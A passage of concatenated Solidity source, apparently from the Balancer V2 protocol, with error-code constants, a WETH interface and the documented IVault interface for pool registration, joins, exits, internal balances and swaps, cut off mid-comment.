uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
uint256 internal constant NOT_TWO_TOKENS = 210;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312;
uint256 internal constant ORACLE_NOT_INITIALIZED = 313;
uint256 internal constant ORACLE_QUERY_TOO_OLD = 314;
uint256 internal constant ORACLE_INVALID_INDEX = 315;
uint256 internal constant ORACLE_BAD_SECS = 316;
uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317;
uint256 internal constant AMP_ONGOING_UPDATE = 318;
uint256 internal constant AMP_RATE_TOO_HIGH = 319;
uint256 internal constant AMP_NO_ONGOING_UPDATE = 320;
uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321;
uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322;
uint256 internal constant RELAYER_NOT_CONTRACT = 323;
uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324;
uint256 internal constant REBALANCING_RELAYER_REENTERED = 325;
uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326;
uint256 internal constant SWAPS_DISABLED = 327;
uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328;
uint256 internal constant PRICE_RATE_OVERFLOW = 329;
uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330;
uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331;
uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332;
uint256 internal constant UPPER_TARGET_TOO_HIGH = 333;
uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334;
uint256 internal constant OUT_OF_TARGET_RANGE = 335;
uint256 internal constant UNHANDLED_EXIT_KIND = 336;
uint256 internal constant UNAUTHORIZED_EXIT = 337;
uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338;
uint256 internal constant UNHANDLED_BY_MANAGED_POOL = 339;
uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340;
uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341;
uint256 internal constant INVALID_INITIALIZATION = 342;
uint256 internal constant OUT_OF_NEW_TARGET_RANGE = 343;
uint256 internal constant UNAUTHORIZED_OPERATION = 344;
uint256 internal constant UNINITIALIZED_POOL_CONTROLLER = 345;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
uint256 internal constant CALLER_IS_NOT_OWNER = 426;
uint256 internal constant NEW_OWNER_IS_ZERO = 427;
uint256 internal constant CODE_DEPLOYMENT_FAILED = 428;
uint256 internal constant CALL_TO_NON_CONTRACT = 429;
uint256 internal constant LOW_LEVEL_CALL_FAILED = 430;
uint256 internal constant NOT_PAUSED = 431;
uint256 internal constant ADDRESS_ALREADY_ALLOWLISTED = 432;
uint256 internal constant ADDRESS_NOT_ALLOWLISTED = 433;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
/**
* @dev Interface for WETH9.
* See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "./IProtocolFeesCollector.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
